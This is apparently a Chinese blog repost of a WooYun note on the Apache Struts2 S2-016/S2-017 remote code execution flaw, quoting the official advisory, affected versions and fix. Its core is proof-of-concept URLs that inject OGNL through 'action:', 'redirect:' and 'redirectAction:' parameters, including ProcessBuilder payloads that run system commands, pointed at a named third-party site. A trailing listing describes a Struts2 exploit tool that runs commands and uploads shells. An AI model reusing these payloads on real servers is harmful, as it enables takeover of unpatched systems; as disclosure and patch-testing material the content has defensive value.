<转>struts2 最新S2-016-S2-017漏洞通杀struts2所有版本



 原链:http://zone.wooyun.org/content/5159

 

 

1.jpg 

2.jpg 

3.jpg 


POC来自官方: 
http://struts.apache.org/release/2.3.x/docs/s2-016.html 
http://struts.apache.org/release/2.3.x/docs/s2-017.html

 

 

 

 

这是一个代码执行漏洞,利用java代码来执行系统命令。 
影响版本:Struts 2.0.0 – Struts 2.3.15 
漏洞说明: 
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. 
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

测试POC:

In the Struts Blank App, open following URLs. 
Simple Expression – the parameter names are evaluated as OGNL.
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{3*4}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

解决方法: 
DefaultActionMapper was changed to sanitize “action:”-prefixed information properly. The features involved with “redirect:”/”redirectAction:”-prefixed parameters were completely dropped – see also S2-017. 
  
官方说明:http://struts.apache.org/release/2.3.x/docs/s2-016.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
struts2漏洞exp利用工具, 2018-08-24: 增加S2-057 Struts 2.3 to 2.3.34,Struts 2.5 to 2.5.16 此漏洞影响范围非常小,要求配置条件比较苛刻,同时,一些特定版本没有看到有沙盒绕过,说以,目前exp只是基于S2-045改写的,所以exp并不是所有版本都能用,正常情况下Struts 2.3.5-2.3.31,Struts 2.5-2.5.10版本可以使用此exp。 2017-07-07: 增加S2-048 Struts 2.3.X 支持检查官方示例struts2-showcase应用的代码执行漏洞,参考地址:http://127.0.0.1:8080/struts2-showcase/integration/saveGangster.action 2017-03-21: 增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。http://struts.apache.org/docs/s2-046.html 2017-03-07: 增加安恒信息研究员nike.zheng发现的S2-045,jakatar处理复杂数据类型时,异常处理不当,导致OGNL代码执行,通过在请求的Content-Type头中构造OGNL表达式来执行Java代码。http://struts.apache.org/docs/s2-045.html 2016-04-26: 增加最新S2-032远程代码执行漏洞,和S2-019很相似。 参考:http://seclab.dbappsecurity.com.cn/?p=924 2015-12-01: 采用scanner读数据流,再也不用担心s16不能执行net user/ipconfig/netstat -an等命令了。 增加复杂数据包(multipart/form-data)提交方式进行漏洞利用,可绕过部分防护。可执行命令,暂时无法上传文件。 2014-11-12: 最近遇到s19这个debug模式开启导致代码执行,这个有点少,但还是有一些,为了方便大家把13版本修改了一下。可以利用这个漏洞执行命令、上传shell。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值